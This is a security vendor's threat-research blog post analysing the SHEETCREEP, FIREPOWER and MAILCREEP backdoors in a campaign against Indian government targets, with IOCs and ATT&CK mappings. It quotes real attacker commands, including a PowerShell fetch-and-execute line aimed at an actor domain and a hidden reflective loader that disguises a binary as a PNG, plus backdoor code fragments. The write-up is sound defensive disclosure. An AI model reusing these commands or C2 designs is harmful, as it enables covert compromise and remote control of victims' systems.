This is Part 2 of our two-part technical analysis on the Gopher Strike and Sheet Attack campaigns. For details on the Gopher Strike campaign, go to Part 1.IntroductionIn September 2025, Zscaler ThreatLabz uncovered three additional backdoors, SHEETCREEP, FIREPOWER, and MAILCREEP, used to power the Sheet Attack campaign. In Part 2 of this series, ThreatLabz will delve into these backdoors and analyze how threat actors are leveraging generative AI in their malware development processes.The Sheet Attack campaign stands out for its use of Google Sheets as a command-and-control (C2) channel, an uncommon tactic in this region. Between November 2025 and January 2026, ThreatLabz observed the deployment of new tools, including SHEETCREEP and FIREPOWER, along with MAILCREEP, which is used to manipulate emails, and a PowerShell-based document stealer to exfiltrate files. Furthermore, the activity contained indicators suggesting that the threat actors have adopted AI as part of their malware development workflow, mirroring a global trend of AI adoption by malicious actors.Key TakeawaysThe Sheet Attack campaign leveraged PDFs to deploy lightweight backdoors that utilized multiple C2 channels that abused legitimate cloud services, such as Google and Microsoft, enabling the network traffic to blend in and evade security controls.ThreatLabz identified SHEETCREEP, FIREPOWER, and MAILCREEP as backdoors employed in the Sheet Attack campaign.SHEETCREEP is a lightweight backdoor written in C# that uses Google Sheets for C2 communication.FIREPOWER is a PowerShell-based backdoor that exploits Google’s Firebase Realtime Database for its C2 channel.MAILCREEP is a Golang-based backdoor leveraging the Microsoft Graph API for its C2 communications.ThreatLabz identified several high-confidence fingerprints within the malware of the Sheet Attack and Gopher Strike campaigns that strongly suggest the use of generative AI.ThreatLabz assesses with medium confidence that these campaigns likely originate from a new subgroup or a parallel Pakistan-linked group, despite sharing similarities with the APT36 threat group.Technical AnalysisIn the following sections, ThreatLabz provides a technical analysis of the Sheet Attack campaign, detailing the backdoors it leverages and examining the evidence that suggests AI was used to generate parts of the code.Initial infection vectorsSimilar to the Gopher Strike campaign, some of the initial Sheet Attack campaigns began with the delivery of a PDF file. The PDF displayed a redacted document that tricked the recipient into clicking a Download Document button to access the full content, as shown in the figure below. Figure 1: Example of a PDF file used in the Sheet Attack campaign.After clicking the button, the user was directed to a threat actor-controlled website that served a ZIP archive. Similar to the Gopher Strike campaign, the server employed geographic and User-Agent checks to ensure the ZIP archive was only delivered to Windows systems in India, returning a “403 Forbidden” error otherwise. These ZIP archives contained the SHEETCREEP backdoor. The figure below illustrates the attack flow of the PDF-based Sheet Attack campaign to distribute SHEETCREEP.Figure 2: The attack flow of the Sheet Attack campaign to distribute SHEETCREEP.More recent Sheet Attack campaigns have transitioned to using malicious LNK files to distribute another backdoor named FIREPOWER. These LNK files execute commands such as: –headless powershell -e [base64 powershell command] to execute a PowerShell script retrieved from a threat actor-controlled C2 server (e.g.,  irm https://hcidoc[.]in/[path] | iex).The figure below illustrates the attack flow of the Sheet Attack campaigns when malicious LNK files were used as the initial infection vector for FIREPOWER.Figure 3: The attack flow of the Sheet Attack campaigns when malicious LNK files were used as the initial infection vector for FIREPOWER.SHEETCREEP backdoorThe ZIP archive contains the following two components: a binary disguised with a PNG extension (details.png)a malicious LNK file containing the following command:powershell.exe -WindowStyle Hidden -Command “$b=[IO.File]::ReadAllBytes(‘details.png’);([System.Reflection.Assembly]::Load([byte[]]($b[($b.Length-1)..0])).GetType(\”Task10.Program\”)::MB())”This command reverses the bytes in details.png and loads them as a .NET assembly via reflection. The Task10.Program::MB() method is executed, which drops the backdoor to disk at C:\Users\Public\Documents\details.png, as well as a loader (GServices.vbs), which is registered as a scheduled task. The GServices.vbs loader uses Powershell and reflection to load the backdoor, SHEETCREEP, which is a small C#-based backdoor with limited built-in functionality. Upon execution, SHEETCREEP performs the following actions:Decrypts and loads an embedded configuration using TripleDES (ECB). The configuration is a JSON dictionary consisting of Google Cloud credentials and a Google Sheet ID.Generates a victim ID in the format: ==. Interestingly, the code that generates the victim ID contains functionality to retrieve the victim’s MAC address, but the MAC address retrieved is never used.The victim ID is used to create a spreadsheet within the Google Sheets workbook. If this fails, the SHEETCREEP backdoor retries, using backup configurations from a Firebase URL and a Google Cloud Storage URL. After successfully creating a spreadsheet, the SHEETCREEP backdoor retrieves the contents of cells A1 through A300 and finds the next available empty row.A hidden cmd.exe process is also created in the background, with its standard input, output, and error streams redirected to the SHEETCREEP backdoor.SHEETCREEP then polls the spreadsheet every three seconds for new commands, which will be encrypted using the same TripleDES key. These commands are executed using the hidden cmd.exe process in step 4 above. The output of these commands is encrypted and Base64-encoded, and written to column B of the row where the command was retrieved. The workflow of this function is illustrated in the figure below.Figure 4: Decoded and redacted example of a Google Sheet used by SHEETCREEP.FIREPOWER backdoorFIREPOWER is a backdoor written in PowerShell. ThreatLabz observed that several variants of the FIREPOWER backdoor were delivered in the Sheet Attack campaign. However, at its core, the backdoor performs the following actions.FIREPOWER generates a victim identifier in the format: ComputerName==Username and connects to a Firebase Realtime Database. Then, FIREPOWER creates default keys for each victim in the data, such as:db.baseDirectory.[victim id] = {“status”: false, “eStatus”: false, “comStatus”: false, “extension”: false, “url”: “https://”, “command”: “”, “LastHit”: “”}The table below shows the functionality of each key in the database.KeyDescriptionstatusIf set to true, FIREPOWER downloads the file from the URL specified in the URL key. Once the download is successfully completed, this field is set to false.eStatusIf set to true, this forces the download to use the extension specified in the extension key. Otherwise, FIREPOWER uses the original file name and extension, or infers from the Content-Type header.comStatusIf set to true, FIREPOWER executes the command in the command key. Once the command has been executed, this is set to false.extensionA string specifying the extension of the file downloaded from the URL specified in the URL key.urlThe URL to download a file.commandThe command to be executed using Powershell’s Invoke-Expression.LastHitContains a timestamp which is updated each time FIREPOWER queries the Firebase Realtime Database.Table 1: Functionality of the keys used by FIREPOWER.FIREPOWER retrieves the names of directories within C:\Program Files and C:\Program Files (x86). In addition, it retrieves file and directory names from the victim’s Desktop and Downloads directories. Then, FIREPOWER uploads the list of file and directories to the Firebase Realtime Database in the following manner:db.baseDirectory.[victim id] = {“Desktop”: […], “Downloads”: […], “Program Files”: […], “Program Files (x86)”: […]}FIREPOWER operates within a C2 loop with a polling interval of 300 seconds, enabling it to execute a variety of tasks. It then checks status flags and, if required, downloads a file from db.baseDirectory.[victim id].url using the hardcoded User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64). In addition, FIREPOWER checks the comStatus flags and, if required, will call Invoke-Expression to execute a command stored in db.baseDirectory.[victim id].command. The results of that command are appended to C:\Users\Public\Documents\text.log. Then, FIREPOWER updates the last ping back time in db.baseDirectory.[victim id].LastHit.The table below lists some functionalities present in other variants of FIREPOWER. FunctionalityDescriptionPersistenceAn additional stub was added to create a scheduled task. This task runs a command identical to the one in the LNK file, retrieving and executing the latest FIREPOWER backdoor each time a user logs into the machine.Collection of command outputA new db.baseDirectory.[victim id].lastOutput field was introduced to store the output of the most recently executed command, simplifying the operator’s workflow.TestingMessage box pop-ups were added, likely to simplify debugging during testing.Faster pollingThe polling interval was reduced to 120 seconds.Lure documentsA Base64-encoded PDF file was embedded in the PowerShell script to display to the user on the first run.Clean upCode was added to delete the original LNK file.Reduced footprintThe command output log (text.log) was removed.Table 2: List of features present in FIREPOWER variants.Second-stage payloadsDuring the Sheet Attack campaign, ThreatLabz observed the threat actor deploying additional payloads to selected targets via FIREPOWER. As of this writing, the campaign remains active, with the threat actor introducing new backdoors written in various programming languages and utilizing different legitimate cloud services for C2. Some of those additional payloads include:The threat actor deployed a PowerShell-based document stealer to selected targets, scanning the target’s Desktop, Documents and OneDrive directories for files with specific extensions (.txt, .csv, .pdf, .docx, .xlsx, .pptx). The threat actor proceeded to upload those files to a threat actor-controlled private GitHub repository.The threat actor was also observed utilizing MAILCREEP, a backdoor developed in Golang. To check for internet connectivity, MAILCREEP establishes a TCP connection to Google’s public DNS server (8.8.8.8) on port 53. If successful, MAILCREEP proceeds to its main loop. It leverages Microsoft’s Graph API to manipulate emails and folders for C2 activity within a threat actor-controlled Azure tenant. For each victim, MAILCREEP creates a folder in the mailbox using the victim’s identifier (formatted as [username]-[random number]). Subsequently, it polls the mailbox for emails with subjects starting with “Input.” If such emails are found, MAILCREEP extracts their contents, decodes them using Base64, and decrypts them with AES-256 in CBC mode. The resulting string is parsed as comma-separated values (CSV), and commands are executed using cmd.exe /c [command].Use of generative AI for malware developmentDuring the decompilation of the SHEETCREEP backdoor, ThreatLabz identified the use of emojis within its error-handling code. This unusual coding style strongly suggests that generative AI tools were utilized during the malware’s development, which is a worldwide trend as documented by Google and OpenAI. An example is shown below:catch (ArgumentNullException ex)
{
Console.WriteLine(“❌ Config is missing required values: ” + ex.Message);
sheetsService = null;
}
catch (InvalidOperationException ex2)
{
Console.WriteLine(“❌ Private key format is invalid: ” + ex2.Message);
sheetsService = null;
}
catch (Exception ex3)
{
Console.WriteLine(“❌ Unexpected error while creating credentials: ” + ex3.Message);
sheetsService = null;
}Additionally, ThreatLabz observed that the FIREPOWER backdoor contains verbose comments, including some with non-ASCII characters like Unicode arrows, as shown in the example below. function Get-FolderContents {
param ($path)
try {
Get-ChildItem -Path $path -ErrorAction SilentlyContinue |
ForEach-Object { $_.Name } # ← SINGLE FIX: return only strings
}
catch { @() }
}
function Upload-FolderStructure {
param($systemName)
try {
$desktopPath = [Environment]::GetFolderPath(“Desktop”)
$downloadsPath = Join-Path $env:USERPROFILE “Downloads” # ← FIXED
// …
}
// …
}
// …
# 3) If fileName still missing or trivial (like “t”), try to infer extension from Content-Type
if (-not $fileName -or $fileName.Length -lt 2 -or -not ([System.IO.Path]::GetExtension($fileName))) {
# if we have a name but no extension, keep the name and possibly add extension inferred below
$baseName = $null
if ($fileName) { $baseName = [System.IO.Path]::GetFileNameWithoutExtension($fileName) }
else { $baseName = “download_$((Get-Date).ToString(‘yyyyMMdd_HHmmss’))” }
# Try infer from content-type
$contentType = $http.ContentType
$inferredExt = Infer-ExtensionFromContentType -contentType $contentType
# If eStatus=true and customExt provided -> force customExt
if ($eStatus -and -not [string]::IsNullOrWhiteSpace($customExt)) {
if (-not $customExt.StartsWith(“.”)) { $customExt = “.” + $customExt }
$fileName = $baseName + $customExt
} else {
# If inferred ext exists -> use it, else keep whatever we had, or .bin fallback
if ($inferredExt) { $fileName = $baseName + $inferredExt }
else {
# If original url path gave a filename without ext, keep it (option A wants to keep server extension when available)
if ($fileName -and ([System.IO.Path]::GetExtension($fileName))) {
# keep as-is
} else {
$fileName = $baseName + “.bin”
}
}
}This further reinforces the likelihood that generative AI tools were used in the development process. As noted in a previous blog, verbose comments designed to assist the developer during development are a hallmark of AI-generated code.However, typos within the FIREPOWER script also indicate that the backdoor’s creation was likely not purely automated and involved some degree of manual development effort, as shown in the figure below.Figure 5: Example typo (“extention”) found in the FIREPOWER script.Hands-on-keyboard activityWhile monitoring these Google Sheet C2 channels, ThreatLabz observed repeated commands, often accompanied by typos. This strongly suggests hands-on-keyboard activity from an operator. The figure below highlights some of the typos in the commands.Figure 6: Typos in commands indicating hands-on-keyboard activity by the Sheet Attack operator.
Threat AttributionThreatLabz assesses with medium confidence that the Gopher Strike and Sheet Attack campaigns were carried out by either a new Pakistan-linked APT group or a new sub-group of APT36, based on the following factors.APT36 linksVictimology: The campaigns predominantly target Indian government entities, which is consistent with APT36’s historical victimology. APT36 has a well-documented history of heavily targeting Indian government institutions.Tooling: There is a partial toolset overlap in these campaigns with APT36’s known tactics. This includes the use of Golang-based malware, consistent with APT36 examples such as DeskRAT and GoStealer, as well as the use of PowerShell scripts, which align with APT36’s observed development practices.Infrastructure: The Google Sheets C2 and the threat actor’s private GitHub commit logs both indicate the Asia/Karachi time zone, suggesting a Pakistan-based operator.Techniques: The campaigns demonstrate abuse of legitimate cloud services for C2, a tactic that has been previously documented in APT36 operations. ThreatLabz observed similar behavior during the Operation FlightNight campaign and our ElizaRAT research, both of which highlighted APT36’s reliance on cloud-based services for C2 infrastructure.Phishing lures: The PDFs used in these campaigns closely mimic APT36’s prior tactics, displaying similar themes and designs. These include the use of logos, prominent Download Document buttons, and the inclusion of a single blurred image used as part of the lure. For example, the PDFs from the Sheet Attack campaign share striking similarities with PDFs used by APT36 in a campaign conducted in April 2025, as shown in the figure below.Figure 7: Comparison of a PDF lure used in the Sheet Attack campaign and one used in an APT36 attack from April 2025.APT36 differencesTechniques: The Gopher Strike and Sheet Attack campaigns use evasion techniques that have not been previously associated with APT36. These include server-side Geo-IP filtering and filtering on specific keywords within User-Agent strings.Tooling: There are differences in tooling that set these campaigns apart from APT36’s typical operations. During the same timeframe, APT36 was observed targeting Linux and Windows systems using malicious .desktop files, HTA files, and CurlBack RAT. None of these were present in the Gopher Strike or Sheet Attack campaigns. Furthermore, analysis of PDF metadata reveals differences in the tools used for lure generation. For instance, comparisons of metadata between PDFs generated by APT36 in July 2025 and those used in the Sheet Attack campaign show clear discrepancies, as illustrated in the comparison figure below.Figure 8: Comparison of Gopher Strike PDF metadata to PDF metadata from a known APT36 campaign.The diamond model below outlines the key attributes of the Gopher Strike and Sheet Attack campaigns. Figure 9: Diamond model highlighting key attributes of the Gopher Strike and Sheet Attack campaigns.ConclusionThe Sheet Attack campaign targets Indian government entities by abusing legitimate internet services like GitHub accounts, Google Firebase, Google Sheets, and Microsoft’s Graph API to blend in with legitimate traffic, similar to the Gopher Strike campaign detailed in Part 1. While both campaigns share TTPs with APT36, their concurrent operation alongside traditional APT36 activity, use of new tools, and potential generative AI in malware development suggest an evolution of APT36 or the emergence of a closely aligned group.Indicators Of Compromise (IOCs)File indicatorsHashesFilenameDescription87c7d69c6131406afdd0a08e89329d0aa55c18a82203cf1efafac6f3c47642ab60c74ffcb56062033df06738b66c38b3fa2f82a7e8c558336a4790c83c7faad595172167details.pngSHEETCREEP62a23220b0249a15503f5ad762ed5889f68cd104bfa2ac9992a98936c6e97c41e680b6989ab6d01a6df367ee505e59850438e6926dfb61c2ebfbe4e03eba48f70ee36ac3GServices.vbsLoader03141afe5c20d37620c085cdbeb4058bb8fd6b4eece68095caeb26bdd1090ab7959f24aa43fb05d9fc179f791b1a2814f7116ee577b6e48f62eee63af039350260d7fe2bdetails.pngThe reversed Portable Executable (PE) file has been reconstructed to form the proper Dropper .NET binary.21dacb6cf6da872f1f3c7b6c876a8a922f46595d58bef1c70ca757e18bb04443b2d5ce72bec00fa5a87195f182511ecc5292a716c79bc74e17bd1138c8fb2f2285df1b46AttachmentLetter.LNKDropper LNK launcher6bed5e271eddf5cb86a5964b8c2f51b616410fe2c44272005ca3c2ce994d24e9c2e731f659abb997927e471472a1c487dea0180d11e9c99774bb138ace46771acba9c3d8Document.zipArchive containing the SHEETCREEP payload.1ede39cb02b8aaa75063febc167db56597712c11b83c31ba03b747cf39a49cd0e208c5f5363fca9534e5cb69e40330473bcbd0acc439cf81a555234eed250f65c98478e3Pay.pdfPhishing PDF0729db72ab4ad9b2ac7a82918c744388daeeb031a9617e6f1b7bf4d85de9c75f62021c8271794df37a107472e8d0829387741953f9e6c7778519b11f061c79ff6fb0f386Proof.pngSHEETCREEP7269779e3fe07b1d96564117461ec75b147055a1341737625cf0e878b7ebd5acf09d1883eea5cb7795d86e4612edcc6f0085d151e1b7a7351646caf26955c2ac35158971chrome.exeSHEETCREEP Dropper launcherf9a2da8f12179414663a230f11edca20cdecfe8e1cacd1af204a5da52f6c02eb16fdea8b9eebbf8899a1cf4156a872e9b8cde2a8f6ab364b8089550510938405c622cc58edge.exeSHEETCREEP12669c29e00057abf20c73a434eb3dd2a38eab1ac01201b651b2efdebc78e994402976f1889b4b1e13b66aff349282eae3999783f5542f961b433a7d4653c5281e7f4d3eN/AFIREPOWERcd5aab2b0f8d2b42e7a6537303d6345de9eeda092500d7c7f278672d35f733e0e26f0e2c20d72c8580b4d5ef4f771c91ce1d1207e5416fa789d8216a73a0abb8e030644fN/AFIREPOWER0f7730a78490c61964b3bfc05eb59ea7ac06003a774af5a8e4be349fc6f0e65cea116370de14ca6d93dadbc1ec216700d76ad2d0e7b9ebceb95de68c631d0a1c01c915c4N/AFIREPOWER119b836b4e1e7be8c3be8fe921f72bfbe333ae0948ede0cf1368deec53a1eda18210e75e644dda0ea5db1eb5f07ccfccddb909c6ee57235c4465adbfc342da6867cdb71aN/AFIREPOWER41a3752e6ea83d25731f22e1c17f59e2aa9b4410004d43e4e5cc1fc2cda1956bc5663b03309a39ba10cd7c7075837b63d247fa45764f5496fdae215e95a3f4b65ab6dfc3N/AFIREPOWER12669c29e00057abf20c73a434eb3dd2a38eab1ac01201b651b2efdebc78e994402976f1889b4b1e13b66aff349282eae3999783f5542f961b433a7d4653c5281e7f4d3eN/AFIREPOWERe48f1000c86b93cf428a13a0b7384e0d8f9843607ff0ed83ca58e21612b41d6e744beb81989ad43bb9e328d786664247c3af4c17be28932760113708a9c6de977d69652cN/AFIREPOWERa0b6869accba2c9ad3e1f79268a810d46140ed17fa47e0fa166449eaf2b2770fec0fedbd86d8b3fe209b3f1d9a20865ff1ee5d6015941c2a5394861118c8d6ec3695f1a6N/APowerShell document stealer556a567a2c5c27a6aa5660e2e6bcce7be9d9d8c0c818ba9208e61eaf49af4c1b37f4eb59bb11bea463ab1b976c3716591f93eccc71c1a2d1c389a371416b140cd8faa6f0detail.pngSHEETCREEP5001c32b386cc8346079db7b2629d7778735e1af5134d1cd173b55b089e31becb026167761b2b6b61474398a966e26d3b909542450fcab9b6670558cecd6fabc1015bbced.exeSHEETCREEP and MAILCREEP Dropper launchered4dd29c57a38f2bb1934acbaeadeeba7bc5d288ec260765a146136194d815ff3c697df8a97cc81a2f7c05bfc498b71999176c2aeb6e3ad273e48eb1f5c1c5647419c642ds.pngMAILCREEPNetwork indicatorsTypeIndicatorSHEETCREEP backup configuration URLhxxps[:]//testfirebase-b24a8-default-rtdb.firebaseio[.]com/(12336)005056C0000186/details.jsonSHEETCREEP backup configuration URLhxxps[:]//storage.googleapis.com/testfirebase-b24a8.appspot[.]com/config1.txtDownload URL and SHEETCREEP payloadhxxps[:]//hciaccounts[.]in/Documents.zipC2 URLhxxps[:]//docs.google[.]com/spreadsheets/d/1wgx4gj3-YGGAwmtr1DRu4n1QkznK2pYoKO6C4GTmquY/editC2 URLhxxps[:]//docs.google[.]com/spreadsheets/d/1cB8jzFpQcixridoEz_eDvLnjCTx79gKFQSoFiuOErdM/editC2 URLhxxps[:]//docs.google[.]com/spreadsheets/d/1wgx4gj3-YGGAwmtr1DRu4n1QkznK2pYoKO6C4GTmquY/editC2 URLhxxps[:]//docs.google[.]com/spreadsheets/d/1cdSJvZ7tx6CPBuEa66uTVWmSD4zABnZOLjM87pRXkTE/editDownload IP address (hciaccounts[.]in)15.207.85[.]170FIREPOWER C2 domainhttps://webdevurl-cc389-default-rtdb.firebaseio[.]comFIREPOWER C2 domainhttps://govs-services-in-default-rtdb.firebaseio[.]comFIREPOWER C2 domainhttps://gov-service-in-default-rtdb.firebaseio[.]comPayload-hosting domainhciaccounts[.]inPayload-hosting domainhcisupport[.]inPayload-hosting domainhcidelhi[.]inPayload-hosting domainhcidoc[.]inPayload-hosting domaincoadelhi[.]inMITRE ATT&CK FrameworkIDTactic, TechniqueDescriptionT1583.001Resource Development, Acquire Infrastructure: Domainshciaccounts[.]in was acquired to serve the initial payload.T1583.006Resource Development, Acquire Infrastructure: Web ServicesThe threat actor used Google Sheets as a C2 channel, and also used a Firebase URL and Google Cloud Storage URL to host backup configurations.T1585.003Resource Development, Establish Accounts: Cloud AccountsThe threat actor created Google accounts to use Google Sheets for C2 and Firebase/Google Cloud Storage for backup configurations.T1587.001Resource Development, Develop Capabilities: MalwareThe threat actor developed custom malware such as the SHEETCREEP .NET backdoor.T1588.007Resource Development, Obtain Capabilities: Artificial IntelligenceThe threat actor used generative AI tools during the development of the SHEETCREEP backdoor, as suggested by the use of emojis in its error-handling code.T1608.001Resource Development, Stage Capabilities: Upload MalwareThe threat actor staged the initial payload by uploading a ZIP archive (Documents.zip) containing the SHEETCREEP backdoor to a threat actor-controlled site (hxxps[:]//hciaccounts[.]in/Documents.zip).T1566.002Initial Access, Phishing: Spearphishing LinkThe threat actor used phishing PDFs which contained a ‘Download Document’ button that linked to a malicious ZIP archive.T1059.001Execution, Command and Scripting Interpreter: PowerShellAmalicious LNK file executed a PowerShell command to read a file named details.png, reverse its bytes, and load it as a .NET assembly.T1059.003Execution, Command and Scripting Interpreter: Windows Command ShellThe SHEETCREEP backdoor executes commands using a hidden cmd.exe process.T1129Execution, Shared ModulesThe threat actor used a PowerShell command to load a malicious .NET DLL using [System.Reflection.Assembly]::Load().T1204.001Execution, User Execution: Malicious LinkThe Sheet Attack campaign required a user to click a ‘Download Document’ button to download a malicious ZIP archive.T1204.002Execution, User Execution: Malicious FileThe victim was required to execute a malicious LNK file to initiate the infection chain.T1053.005Persistence, Scheduled Task/Job: Scheduled TaskThe initial payload dropped a loader script, GServices.vbs, and registered it as a scheduled task to persistently execute the SHEETCREEP backdoor.T1140Defense Evasion, Deobfuscate/Decode Files or InformationThe initial LNK file reverses bytes to restore and load a .NET assembly. The SHEETCREEP backdoor uses TripleDES to encrypt its configuration.T1564.003Defense Evasion, Hide Artifacts: Hidden WindowThe malicious LNK file uses the command powershell.exe -WindowStyle Hidden to execute its payload without a visible window.The SHEETCREEP backdoor creates a hidden cmd.exe process in the background to execute commands received from the C2.T1036.008Defense Evasion, Masquerading: Masquerade File TypeThe initial payload is a .NET binary disguised with a PNG extension.T1620Defense Evasion, Reflective Code LoadingA malicious LNK file used [System.Reflection.Assembly]::Load() to reflectively load a .NET assembly.T1027.013Defense Evasion, Obfuscated Files or Information: Encrypted/Encoded FileThe SHEETCREEP backdoor uses TripleDES to encrypt its configuration.T1027.015Defense Evasion, Obfuscated Files or Information: CompressionThe initial payload was delivered as a ZIP archive, Document.zip.T1033Discovery, System Owner/User DiscoveryThe threat actor executed the whoami command as part of post-compromise user reconnaissance activities.T1087.002Discovery, Account Discovery: Domain AccountThe SHEETCREEP backdoor discovered the victim’s domain and username to generate a victim ID in the format ==.T1530Collection, Data from Cloud StorageThe SHEETCREEP backdoor contains code to retrieve backup configurations from a Firebase URL and a Google Cloud Storage URL.T1560.002Collection, Archive Collected Data: Archive via LibraryThe SHEETCREEP backdoor encrypts the output of executed commands using the TripleDES implementation from .NET’s System.Security.Cryptography library.T1071.001Command and Control, Application Layer Protocol: Web ProtocolsThe SHEETCREEP backdoor uses the Google Sheets API over HTTPS for its C2.T1102.001Command and Control, Web Service: Dead Drop ResolverThe SHEETCREEP backdoor retrieved its C2 configuration from backups hosted on legitimate web services, such as Firebase and Google Cloud Storage.T1102.002Command and Control, Web Service: Bidirectional CommunicationThe SHEETCREEP backdoor uses Google Sheet as a bidirectional C2 channel.T1573.001Command and Control, Encrypted Channel: Symmetric CryptographyThe SHEETCREEP backdoor used TripleDES to encrypt its configuration, as well as commands sent and received from its C2.T1132.001Command and Control, Data Encoding: Standard EncodingThe SHEETCREEP backdoor Base64-encoded the encrypted output from executed commands before writing the data to its Google Sheets C2.T1665Command and Control, Hide InfrastructureThe server hosting the malicious payloads would only respond to requests originating from IP addresses in India and having a User-Agent header indicating a Windows platform.T1008Command and Control, Fallback ChannelsThe SHEETCREEP backdoor was designed to use backup configurations from a Firebase URL and a Google Cloud Storage URL if the primary C2 configuration fails.

*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Yin Hong Chang (Zscaler). Read the original post at: https://www.zscaler.com/blogs/security-research/apt-attacks-target-indian-government-using-sheetcreep-firepower-and